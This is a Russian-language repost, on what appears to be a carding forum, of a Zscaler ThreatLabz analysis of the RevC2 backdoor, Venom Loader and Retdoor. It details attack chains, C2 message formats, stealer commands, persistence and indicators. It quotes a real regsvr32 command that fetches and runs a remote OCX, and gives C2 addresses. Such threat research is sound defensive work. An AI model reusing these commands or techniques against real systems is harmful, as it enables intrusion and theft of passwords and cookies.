NEW CARDING CHAT IN TELEGRAM

Представление RevC2 и Venom Loader

Man

Professional
Messages
2,828
Reputation
5
Reaction score
447
Points
83

Введение​

Venom Spider, также известный как GOLDEN CHICKENS, является субъектом угроз, известным тем, что предлагает инструменты Malware-as-a-Service (MaaS), такие как VenomLNK, TerraLoader, TerraStealer и TerraCryptor. Эти инструменты использовались другими группами угроз, такими как FIN6 и Cobalt, в прошлом. Недавно Zscaler ThreatLabz раскрыл две значительные кампании, использующие инструменты MaaS Venom Spider в период с августа по октябрь 2024 года. В ходе нашего расследования мы выявили два новых семейства вредоносных программ, которые мы назвали RevC2 и Venom Loader, которые были развернуты с использованием инструментов Venom Spider MaaS.

В этом блоге мы анализируем цепочку атак, используемую в этих кампаниях, и предоставляем всесторонний анализ этих новых семейств вредоносных программ. Мы углубляемся в их основные функции, сетевые протоколы связи и команды.

Ключевые выводы​

  • В период с августа по октябрь 2024 года ThreatLabz выявила кампании, в которых использовались два новых семейства вредоносных программ — RevC2 и Venom Loader.
  • Эти два новых семейства вредоносных программ были развернуты с помощью инструментов Venom Spider, предлагающих вредоносное ПО как услугу (MaaS).
  • RevC2 использует WebSockets для связи со своим сервером управления и контроля (C2). Вредоносная программа способна красть куки и пароли, проксировать сетевой трафик и позволяет выполнять удаленный код (RCE).
  • Venom Loader — это новый загрузчик вредоносного ПО, который настраивается под каждую жертву и использует имя компьютера жертвы для кодирования полезной нагрузки.

Технический анализ​

В следующих разделах представлен технический анализ кампаний. URL-адреса и имена файлов, используемые в этих кампаниях, различаются в зависимости от образца. Мы проанализировали репрезентативный образец из каждой кампании.

Кампания 1: Документация API заманивает к RevC2​

Первая кампания, которая проводилась с августа по сентябрь, использовала приманку в виде документации API для доставки вредоносной нагрузки RevC2. RevC2 — это бэкдор с возможностями кражи конфиденциальных данных.

На рисунке ниже показана цепочка атак, приводящая к доставке RevC2.

Рисунок 1: Цепочка атак первой кампании с использованием RevC2 в качестве полезной нагрузки.

Рисунок 1: Цепочка атак первой кампании с использованием RevC2 в качестве полезной нагрузки.

Первая стадия: VenomLNK​

Хотя метод распространения в настоящее время неизвестен, первый этап атаки начинается с файла VenomLNK. Этот файл LNK содержит обфусцированный пакетный (BAT) скрипт, который при запуске загружает изображение PNG из hxxp://gdrive[.]rest:8080/api/API.png. Изображение PNG является приманкой для документации API, как показано на рисунке ниже.

Приманка в виде документации API, использованная в первой кампании, которая использует RevC2.

Рисунок 2: Приманка в виде документации API, использованная в первой кампании, которая использует RevC2.

Файл VenomLNK выполняет следующую команду в фоновом режиме для регистрации элемента управления ActiveX, запуская выполнение RevC2:
wmic process call create "regsvr32 /s /i \\gdrive.rest@8080\api\AdvancedWin.ocx"

Второй этап: RevC2​

На втором этапе представлена версия RevC2, названная в честь пути к базе данных программ (PDB), наблюдаемого в двоичном файле:
C:\Users\PC\Desktop\C2New\Rev\x64\Release\Rev.pdb

При выполнении RevC2 извлекает командную строку и проверяет, заканчивается ли первый аргумент на dWin.ocx, совпадая с суффиксом имени файла. Затем RevC2 извлекает путь к исполняемому файлу текущего процесса и сравнивает его с regsvr32.exe. Вредоносное ПО выполняется только в том случае, если обе проверки пройдены, что гарантирует запуск RevC2 как части цепочки атак, а не в аналитических средах, таких как песочницы.

Затем RevC2 извлекает локальное время операционной системы и создает файл журнала в формате C:\ProgramData\boot_%YYYYMMDDTHHMMSS%.log. Файл журнала хранит внутренние сообщения, генерируемые вредоносной программой во время ее выполнения.

Пример журнала, созданного RevC2, показан ниже:
[2024-11-14 17:21:38.530681]: Multipler : 1
[2024-11-14 17:22:01.546498]: Getting Passwords

Протокол связи RevC2​

RevC2 использует WebSockets для связи C2 с помощью библиотеки C++, websocketpp. Адрес C2 жестко закодирован в двоичном коде. В образце, который мы исследовали, адрес был ws://208.85.17[.]52:8082.
Все данные, которыми обмениваются компьютер жертвы и сервер C2, представляют собой объекты JSON.
  • Машина жертвы на сервере C2: этот объект JSON включает два свойства:
    1. Отправляемый вывод.
    2. Тип command_IDвывода.
Формат этого объекта JSON следующий:
{"%output_name%": "%output_value%","type":"%command_ID%"}
  • Сервер C2 на машину жертвы: Этот объект JSON включает два свойства:
    1. type: Содержит файл command_ID, сообщающий вредоносной программе, какие действия следует выполнить.
    2. command: Содержит command_parameter относящееся к действию, которое должно быть выполнено. В некоторых случаях свойство команды пустое.

Формат этого объекта JSON следующий:
{"type":"%command_ID%","command":"%command_parameter%"}
Отправляемый command_IDRevC2 на сервер C2 не всегда совпадает с command_IDотправляемым сервером C2 на RevC2. В двух случаях (при выполнении команд оболочки и создании снимков экрана) command_IDотличается, как показано в Таблице 1 и Таблице 2.

Регистрация клиента​

Первые данные, отправленные на сервер, связаны с регистрацией. Данные представляют собой объект JSON в формате {"name": "%computername%","type":"0005"}.

На рисунке ниже показан пример сетевого трафика между машиной жертвы и сервером C2.

Пример сетевого трафика между системой, зараженной RevC2, и сервером C2.

Рисунок 3: Пример сетевого трафика между системой, зараженной RevC2, и сервером C2.

Поддерживаемые команды​

RevC2 регистрирует обработчик функций, который обрабатывает command_IDи command_parameterс сервера C2 и выполняет соответствующие действия. command_IDПоддерживаемые RevC2 ' описаны в таблице ниже.
Действиеcommand_IDпараметр_командыОписание
Крадет пароли000000ПустойКрадет пароли из браузеров Chromium.
RevC2 начинает с записи записи в файл журнала с сообщением «Получение паролей». Затем RevC2 извлекает сохраненные пароли из браузеров Chromium и отправляет их на сервер C2.
Выполняет команды оболочки0001%command%Выполняет команды оболочки.
Содержит command_parameterкоманду, которую необходимо выполнить. Для выполнения команды создается новый поток. %command%К нему добавляется cmd /c и эта командная строка используется для создания нового процесса. Создается канал, и стандартный вывод и ошибка процесса перенаправляются в этот канал. Вывод считывается из канала и отправляется на сервер C2.
Делает скриншоты0002%mutipler%Делает снимки экрана системы жертвы.
Отправленное command_parameterзначение используется в качестве множителя. Ширина и высота экрана рабочего стола в пикселях умножаются на это значение для настройки разрешения снимка экрана. Действие добавляется в файл журнала в формате: [%TimeStamp%]:Multipler : %mutipler%. Снимок экрана рабочего стола жертвы делается, кодируется в base64 и отправляется на сервер C2.
Прокси-трафик0003{"listenerIP": "%ip%", "listenerPort" : "%port%"}Проксирует сетевые данные с использованием протокола SOCKS5.
RevC2 получает данные на прокси-сервер от сервера C2 в command_parameter. RevC2 использует два внутренних идентификатора команд:
  • 0x55- Подключается к целевому адресу и передает данные на прокси-сервер.
  • 0x70- Отправляет данные на подключенный сокет (создан с помощью идентификатора команды 0x55) с прокси-сервера.
Крадет печенье0009ПустойКрадет файлы cookie из браузеров Chromium.
RevC2 начинает с записи записи в файл журнала с сообщением «Получение файлов cookie». Этот идентификатор также регистрирует в файле журнала сведения, связанные с кражей файлов cookie. Затем RevC2 извлекает сохраненные файлы cookie из браузеров Chromium и отправляет их на сервер C2.
Выполняет команду от имени другого пользователя.0012{"username": "%username%","password": "%password%","command": "%commandline%"}Выполняет команду от имени другого пользователя, используя полученные учетные данные.
Это %commandline%может быть путь к файлу или команда. RevC2 не отправляет вывод команды на сервер C2.

Таблица 1: Описание команд, поддерживаемых RevC2.

Формат данных для каждого RevC2 command_IDуказан в таблице ниже.

Действиеcommand_IDФормат данных
Крадет пароли000000{"passwords":"Application: %application%
Website: %website%
Login URL: %url%
User name: %username%
Password: %password%
","type":"000000"}.
Выполняет команды оболочки0007{"result":"%output_of_command%”, "type":"0007"}
Делает скриншоты0006{"image":"%base64encoded_image%”, "type":"0006"}
Прокси-трафик0003Н/Д
Крадет печенье0009{"cookies":"[
{
"Application":"%application%",
"domain": "%domain%",
"expirationDate": %exp_Date%,
"httpOnly": %http_only%,
"name": "%cookie_name%",
"path": "%path%",
"sameSite": "%samesite%",
"Secure": %secure%,
"url": "%url%",
"value": "%cookie_value%"
}
]", "type": "0009"}
Выполняет процесс от имени другого пользователя.0012Н/Д

Таблица 2: Формат данных для command_ID, поддерживаемый RevC2.

ThreatLabz создал скрипт Python, который эмулирует сервер RevC2. Скрипт доступен в нашем репозитории GitHub. На рисунке ниже показан пример вывода эмулированного сервера RevC2.

Скрипт Python, эмулирующий сервер RevC2.

Рисунок 4: Скрипт Python, эмулирующий сервер RevC2.

Кампания 2: Приманка для криптовалютных транзакций приводит к вредоносному ПО Venom Loader и Retdoor​

Вторая кампания, которая проходила с сентября по октябрь, по-видимому, использует приманку в виде криптовалютной транзакции для доставки Venom Loader. Затем Venom Loader загружает Retdoor, бэкдор JavaScript (JS), предоставляющий злоумышленнику возможности удаленного выполнения кода (RCE).
На рисунке ниже показана цепочка атак для второй кампании, доставляющей Retdoor.

Цепочка атак второй кампании, использующая Retdoor в качестве полезной нагрузки.

Рисунок 5: Цепочка атак второй кампании, доставляющая Retdoorполезную нагрузку.

Первая стадия: VenomLNK​

Хотя способ распространения в настоящее время неизвестен, первый этап атаки начинается с файла VenomLNK. Файл LNK содержит запутанный скрипт BAT, который записывает скрипт Visual Basic Script (VBS) ( run_bat.vbs) и скрипт BAT ( bat2.bat) во временный каталог Windows. Сначала VenomLNK выполняет run_bat.vbs, который используется для выполнения bat2.bat. bat2.batФайл загружает изображение криптовалютной транзакции в качестве приманки и показывает его жертве, как показано на рисунке ниже.

Приманка для криптовалютных транзакций, используемая во второй кампании, использует инструменты Venom Spider.

Рисунок 6: Приманка для криптовалютных транзакций, используемая во второй кампании, использующей инструменты Venom Spider.

В фоновом режиме вредоносное ПО загружается base.zipиз hxxp://170.75.168[.]151/%computername%/aaa.
Затем BAT-файл распаковывается base.zip, который содержит ApplicationFrameHost.exe. Отсюда выполняется BAT-файл ApplicationFrameHost.exe, который загружает вредоносную DLL с именем dxgi.dll, что приводит к выполнению Venom Loader.

Вторая стадия: Venom Loader​

Venom Loader DLL, используемый в этой кампании, создается индивидуально для каждой жертвы и используется для загрузки следующего этапа. Как упоминалось ранее, base.zip, который содержит Venom Loader, загружается из hxxp://170.75.168[.]151/%computername%/aaa.

Значение %computername%— это переменная среды, которая содержит имя компьютера системы. Venom Loader использует %computername%как жестко закодированный ключ XOR для кодирования следующих этапов.
В этом случае для загрузки бэкдора используется Venom Loader Retdoor. RetdoorСодержимое хранится в Venom Loader как обычный текст. Содержимое подвергается операции XOR с %computername%и кодируется в base64. Результат этого разделяется на три части и записывается на диск с именами файлов text1, text2и text3.

После этого Venom Loader записывает скрипт PowerShell (PS) в %APPDATA%\Adobe\merge.ps1, который используется для декодирования фрагментов, хранящихся в text1, text2, и text3, и записывает его в %LOCALAPPDATA%\Microsoft\hello.js. Затем hello.jsвыполняется с помощью cscript.

Далее Venom Loader создает скрипт VBS с именем run_all.vbsв %APPDATA%\Adobeкаталоге. Этот скрипт предназначен для выполнения команд, переданных ему в качестве аргументов командной строки. Затем run_all.vbsиспользуется для запуска, merge.ps1приводящего к выполнению Retdoor. Наконец, Venom Loader устанавливает постоянство для Retdoorбэкдора, добавляя merge.ps1в раздел реестра автозапуска HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Runпод именем GoogleUpdate.

Третий этап: Retdoor​

Retdoorнепрерывно отправляет HTTP POST-запросы в бесконечном цикле в <c2_address>/api/infos. Данные POST форматируются как name=^%computername%&ret=. Имя содержит имя компьютера жертвы, а первый запрос будет иметь ret как пустую строку. Вывод команды, которая должна быть выполнена, возвращается в следующем запросе внутри параметра ret. На рисунке ниже показан сетевой трафик между системой, зараженной Retdoorвредоносным ПО, и сервером C2.

Сетевой трафик между системой, зараженной More_eggs lite, и сервером C2.

Рисунок 7: Сетевой трафик между зараженной системой Retdoorи сервером C2.

Ответом на запрос являются данные JSON в формате {"command": %command_encoded%}. Они command_encodedобъединяются с помощью операции XOR %computername%и записываются во временный каталог Windows в виде .cmd файла, а затем выполняются.

Заключение​

ThreatLabz наблюдал многочисленные кампании, использующие RevC2 и Venom Loader. Мы считаем, что эти семейства вредоносных программ, используемые в этих кампаниях, являются ранними версиями, и ожидаем, что в будущем будут добавлены дополнительные функции и методы антианализа.

Zscaler Cloud Sandbox постоянно обнаруживает эти кампании и другие вредоносные атаки с высокой точностью. ThreatLabz продолжает отслеживать и отслеживать эти новые семейства вредоносных программ, чтобы защитить наших клиентов.

Покрытие Zscaler​

Многоуровневая облачная платформа безопасности Zscaler обнаруживает индикаторы, связанные с RevC2 и Venom Loader на разных уровнях. На рисунке ниже изображена облачная песочница Zscaler, показывающая детали обнаружения для кампании, предоставляющей Venom Loader и Retdoor.

Отчет песочницы Zscaler для кампании, предоставляющей Venom Loader и More_eggs lite.

Рисунок 8: Отчет песочницы Zscaler для кампании, доставляющей Venom Loader и Retdoor.

Помимо обнаружения в «песочнице», многоуровневая облачная платформа безопасности Zscaler обнаруживает индикаторы, связанные с этими кампаниями, на различных уровнях со следующими названиями угроз:

Индикаторы Компромисса (IOC)​

Тип ИндикаторОписание
SHA2569b0b58aa10577244bc0e174d588ffa8d34a54a34c1b59371acba52772b584707
VenomLNK использовался в первой кампании.
SHA25646a982ec4ea400f8df403fa8384e1752dca070bd84beef06284f1d412e159e67
VenomLNK использовался в первой кампании.
SHA256cf45f68219c4a105fffc212895312ca9dc7f4abe37306d2f3b0f098fb6975ec7RevC2
SHA256153cd5a005b553927a94cc7759a8909bd1b351407d8d036a1bf5fcf9ee83192eRevC2
SHA2568e16378a59eb692de2c3a53b8a966525b0d36412bfd79c20b48c2ee546f13d04VenomLNK использовался во второй кампании.
SHA256f93134f9b4ee2beb1998d8ea94e3da824e7d71f19dfb3ce566e8e9da65b1d7a2
Загрузчик яда
URLhxxp://170.75.168[.]151:8080/transaction.pdf.lnk/
URL-адрес хостинга VenomLNK.
URLws://208.85.17[.]52:8082C2 из RevC2.
URLws://nopsec.org:8082/C2 из RevC2.
URLhxxp://65.38.121[.]211/api/infos
С2 из Retdoor.

Методы атаки MITRE ATT&CK​

ИДЕНТИФИКАТОРНазвание техникиОписание
Т1547.001Ключи запуска реестра / Папка автозагрузкиVenom Loader использует ключ автозапуска для сохранения.
Т1140Деобфускация/декодирование файлов или информацииRetdoorJS-контент подвергается операции XOR и кодируется в формате base64.
Т1574.002Боковая загрузка DLLЗагрузчик Venom запускается ApplicationFrameHost.exeи переходит к боковой загрузке dxgi.dll.
Т1539Украсть куки-файл веб-сеансаRevC2 крадет файлы cookie из браузеров.
Т1555Учетные данные из хранилищ паролейRevC2 крадет сохраненные пароли из браузеров.
Т1113Снимок экранаRevC2 делает снимки экрана жертвы.
Т1090ПроксиВ RevC2 есть команда, которая проксирует трафик.
Т1059
Интерпретатор команд и сценариевRevC2 и Retdoorоба имеют возможности RCE.
Т1571Нестандартный портRevC2 осуществляет связь C2 через нестандартный порт.
Т1071.001Протокол прикладного уровня: веб-протоколыRevC2 использует WebSocket для связи с C2. Retdoorиспользует HTTP для связи с C2.
Т1041Эксфильтрация через канал C2RevC2 и Retdoorспособны перехватывать украденную информацию по каналу C2.

Приложение​

Посетите наш репозиторий GitHub, чтобы получить доступ к скрипту Python, который эмулирует сервер WebSocket RevC2.

Источник
 
Top